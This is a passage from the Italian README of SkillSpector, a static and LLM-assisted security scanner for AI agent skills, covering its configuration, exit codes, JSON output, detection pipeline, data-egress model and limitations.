SKILLSPECTOR_MODEL | Sostituisce il modello del provider attivo. Per i provider ospitati, sostituisce il valore predefinito incluso nella tabella LLM Analysis. Per claude_cli e codex_cli, viene inoltrato come --model invece di utilizzare il fallback del runtime CLI locale. | Opzionale |
SKILLSPECTOR_MODEL_REGISTRY | Sostituisce il registro YAML incluso per provider (src/skillspector/providers/<provider>/model_registry.yaml) con un percorso personalizzato. | Opzionale |
SKILLSPECTOR_LOG_LEVEL | Livello di log: DEBUG, INFO, WARNING, ERROR (predefinito: WARNING). | Opzionale |
Provider CLI (
claude_cli,codex_cli): Non è necessaria alcuna chiave API. L'autenticazione è gestita interamente dalla sessione di login dell'agent CLI stesso (claude auth login/codex login). SkillSpector non legge né inoltra mai chiavi API quando questi provider sono attivi. Il sottoprocesso viene eseguito in una sandbox rafforzata: strumenti disabilitati, nessun MCP, modalità sandbox di sola lettura (codex), e il contenuto delle skill non attendibile viene fornito solo tramite stdin.
Opzioni CLI```bash
skillspector scan --help
Options: -f, --format [terminal|json|markdown|sarif] Output format [default: terminal] -o, --output PATH Output file path --no-llm Skip LLM analysis (static only) --yara-rules-dir PATH Extra YARA rules directory -b, --baseline PATH Suppress findings listed in a baseline --show-suppressed List baseline-suppressed findings -V, --verbose Show detailed progress --help Show this message and exit
Generate a baseline of all current findings (see docs/SUPPRESSION.md)
skillspector baseline [-o FILE] [--no-llm] [--reason TEXT]
## Integrare SkillSpector
SkillSpector è progettato per essere guidato da altri strumenti (pipeline CI, gate di installazione, integrazioni con editor). Il suo codice di uscita e l'output JSON sono un contratto stabile.
### Codici di uscita
`skillspector scan` termina con:
| Codice | Significato |
|------|---------|
| `0` | Scansione completata, `risk_score` ≤ 50 (raccomandazione `SAFE` o `CAUTION`) |
| `1` | Scansione completata, `risk_score` > 50 (raccomandazione `DO_NOT_INSTALL`) |
| `2` | Errore (input non valido, sorgente non leggibile, errore interno) |
> Il codice di uscita raggruppa `SAFE` e `CAUTION` in `0`. Per agire diversamente su di essi (ad es. *avvisare* su `CAUTION` ma *bloccare* su `DO_NOT_INSTALL`), leggere il campo `recommendation` dall'output JSON invece di affidarsi al codice di uscita.
### Output leggibile dalla macchina
`--format json` produce un report JSON; senza `--output`/`-o` viene scritto su stdout:```bash
skillspector scan ./my-skill/ --format json
La forma di livello superiore è (questo esempio mostra una scansione completa basata su LLM; con --no-llm, metadata.llm_requested è false):```json
{
"skill": { "name": "...", "source": "...", "scanned_at": "<ISO 8601>" },
"risk_assessment": { "score": 0, "severity": "LOW", "recommendation": "SAFE" },
"components": [ { "path": "...", "type": "...", "lines": 0, "executable": false, "size_bytes": 0 } ],
"issues": [ { "id": "...", "category": "...", "severity": "...", "confidence": 0.0, "location": { "file": "...", "start_line": 0 } } ],
"metadata": {
"has_executable_scripts": false,
"skillspector_version": "...",
"llm_requested": true,
"llm_available": true,
"inference_usage": [
{
"node": "semantic_security_discovery",
"request_kind": "structured_output",
"provider": "nv_inference",
"model": "azure/anthropic/claude-opus-4-6",
"model_source": "provider_response",
"usage_source": "provider_response",
"prompt_tokens": 1000,
"completion_tokens": 100,
"cached_tokens": 400,
"cache_write_tokens": 50,
"total_tokens": 1100
}
]
}
}
- `risk_assessment.severity` ∈ `LOW | MEDIUM | HIGH | CRITICAL`.
- `risk_assessment.recommendation` ∈ `SAFE | CAUTION | DO_NOT_INSTALL`, mappato dalla severità: `LOW → SAFE`, `MEDIUM → CAUTION`, `HIGH`/`CRITICAL → DO_NOT_INSTALL`.
- `metadata.llm_error` appare solo quando l'analisi LLM è stata richiesta ma non è disponibile.
- `metadata.inference_usage` contiene un record sanitizzato per ogni risposta LLM quando il
provider espone i contatori di token. È una lista vuota quando l'utilizzo non è disponibile;
SkillSpector non stima mai i token mancanti. I totali dei prompt includono le letture e
le scritture della cache, così il pricing a valle può separare in sicurezza quelle partizioni.
`model_source` distingue un modello provider identificato in modo indipendente dal
modello esatto richiesto utilizzato quando l'identità della risposta è assente o ambigua.
SkillSpector attualmente non invia i controlli di prompt-cache di Anthropic, quindi le sue
richieste di scansione non possono selezionare i livelli separati di cache-write da 5 minuti o 1 ora;
i campi di risposta specifici per TTL vengono normalizzati in modo difensivo nel contatore
aggregato di cache-write.
- Vedi [Inference usage telemetry](https://github.com/nvidia/skillspector/blob/main/docs/INFERENCE_USAGE.md) per il contratto completo di
provenienza, contabilità della cache, privacy, ingestione fail-closed e pricing a valle.
- La forma completa per singolo problema è definita da `Finding.to_dict()` in [models.py](https://github.com/nvidia/skillspector/blob/main/src/skillspector/models.py); affidati ai campi sopra e tratta qualsiasi campo aggiuntivo come best-effort.
Per il tooling CI/IDE, `--format sarif` emette SARIF 2.1.0.
### Mappatura consigliata del gate
Quando usi SkillSpector come gate di installazione, mappa la raccomandazione a un'azione:
| `recommendation` | Azione suggerita |
|------------------|------------------|
| `SAFE` | consenti |
| `CAUTION` | chiedi conferma / avvisa l'utente |
| `DO_NOT_INSTALL` | blocca |
SkillSpector calcola la fascia di punteggio e la raccomandazione; quanto sia severo il gate (ad es. se `CAUTION` blocca in CI) è una decisione di policy per il tool che lo integra.
## Sviluppo
### Setup
Tutti i target `make` presuppongono che un ambiente virtuale sia già creato e attivato. Il Makefile usa **uv** se disponibile, altrimenti **pip**.```bash
# Clone, create venv, activate, install dev dependencies
git clone https://github.com/NVIDIA/skillspector.git
cd skillspector
uv venv .venv && source .venv/bin/activate
# or: python3 -m venv .venv && source .venv/bin/activate
make install-dev
# Run tests
make test
# Run tests with coverage
make test-cov
# Run linting
make lint
# Format code
make format
Come funziona
SkillSpector utilizza una pipeline di rilevamento a due stadi:
Stadio 1: Analisi statica
- Corrispondenza rapida di pattern basata su regex attraverso 11 analizzatori statici
- Analisi comportamentale basata su AST che rileva chiamate pericolose (exec, eval, subprocess, ecc.)
- Ricerche di vulnerabilità in tempo reale tramite OSV.dev per CVE note nelle dipendenze
- Analizza tutti i file idonei all'analizzatore nella skill
- Alto recall (intercetta la maggior parte dei problemi)
- Precisione moderata (alcuni falsi positivi)
Una firma OpenSSF Model Signing valida a livello root (skill.oms.sig) viene mantenuta
nell'inventario dei componenti come tipo oms_signature, ma esclusa dall'analisi statica e del contenuto LLM.
I bundle OMS contengono necessariamente lunghi campi payload, firma e certificato codificati in base64;
i controlli generici sul codice offuscato possono altrimenti classificare erroneamente quei campi come contenuto eseguibile nascosto.
Il riconoscitore verifica la struttura minima OMS DSSE/in-toto; non verifica la firma,
la catena di certificati, la voce del transparency log o l'identità del firmatario. I file di firma
non validi o non riconosciuti vengono analizzati normalmente.
Stadio 2: Analisi semantica LLM (opzionale)
- Valuta contesto e intento
- Filtra i falsi positivi
- Fornisce spiegazioni leggibili dall'uomo
- Migliora la precisione a ~87%
Il prompt LLM include protezioni anti-jailbreak per impedire che skill malevole manipolino l'analisi.
Ricerche di vulnerabilità in tempo reale (SC4)
SC4 utilizza l'API OSV.dev per verificare le dipendenze rispetto all'intero database Open Source Vulnerabilities — coprendo decine di migliaia di advisory su PyPI e npm.
- Nessuna chiave API richiesta — OSV.dev è gratuito e non autenticato.
- Query in batch — tutte le dipendenze vengono verificate in una singola chiamata HTTP.
- Fallback automatico — se OSV.dev non è raggiungibile (air-gapped/offline), viene utilizzata una piccola lista di fallback integrata.
- Caching — i risultati vengono memorizzati nella cache in memoria per 1 ora per evitare chiamate API ridondanti durante una sessione.
Lo strumento richiede accesso HTTPS in uscita a api.osv.dev per i dati di vulnerabilità in tempo reale. Quando non è disponibile, i risultati sono limitati alla lista di fallback statica.
Modello di fiducia ed egress dei dati
SkillSpector è difesa in profondità, non una sandbox. Sappi cosa fa e cosa non fa prima di affidarti ad esso:
- Non esegue mai la skill analizzata. Tutta l'analisi è statica (regex, AST Python, YARA) più un'opzionale valutazione LLM dei contenuti dei file — il codice della skill non viene mai eseguito.
- L'analisi LLM invia i contenuti dei file idonei all'analizzatore al provider configurato. Quando l'analisi LLM è abilitata (impostazione predefinita), i contenuti dei file vengono inviati all'endpoint
SKILLSPECTOR_PROVIDERattivo. I file di firma OMS riconosciuti sono esclusi. Usa--no-llmper mantenere i contenuti in locale (solo analisi statica). - SC4 invia i nomi delle dipendenze a OSV.dev. Il controllo della supply-chain interroga OSV.dev con i nomi dei pacchetti e le versioni dichiarate dalla skill, per cercare CVE note. Questo è fondamentale per il controllo e viene eseguito anche con
--no-llm. Invia le coordinate delle dipendenze (non i contenuti dei file), non richiede chiave API e ricade su una lista inclusa quando OSV.dev non è raggiungibile. - Non isola l'host in una sandbox. SkillSpector segnala pattern rischiosi prima che tu installi una skill; non contiene né isola una skill che scegli comunque di installare.
Limitazioni
- Contenuto non in inglese: può non rilevare pattern in altre lingue
- Attacchi basati su immagini: non può analizzare testo nelle immagini
- Codice cifrato/binario: non può analizzare contenuto compilato o cifrato
- Comportamento a runtime: solo analisi statica, nessuna esecuzione dinamica
- SC4 offline: senza accesso di rete a
api.osv.dev, SC4 utilizza una piccola lista di fallback statica
Contesto di ricerca
Basato sulla ricerca "Agent Skills in the Wild: An Empirical Study of Security Vulnerabilities at Scale" (Liu et al., 2026):
- Dataset: 42.447 skill dai principali marketplace
- Vulnerabili: il 26,1% contiene almeno una vulnerabilità
- Alta gravità: il 5,2% mostra probabile intento malevolo
- Risultato chiave: le skill con script eseguibili hanno 2,12 volte più probabilità di essere vulnerabili
Integrazione API Python```python
from skillspector import graph
Invoke the LangGraph workflow
result = graph.invoke({ "input_path": "/path/to/skill", "output_format": "json", # terminal, json, markdown, or sarif "use_llm": True, # False for static-only analysis })
Access results
print(f"Risk Score: {result['risk_score']}/100") print(f"Severity: {result['risk_severity']}") print(f"Recommendation: {result['risk_recommendation']}")
for finding in result["filtered_findings"]: print(f"[{finding['severity']}] {finding['rule_id']}: {finding['message']}")
## Licenza
Apache License 2.0 - consulta [LICENSE](https://github.com/nvidia/skillspector/blob/main/LICENSE) per i dettagli.
## Contribuire
I contributi sono benvenuti! Ti invitiamo a leggere le nostre linee guida per i contributi e a inviare pull request.
## Supporto
- **Problemi**: [GitHub Issues](https://github.com/NVIDIA/skillspector/issues)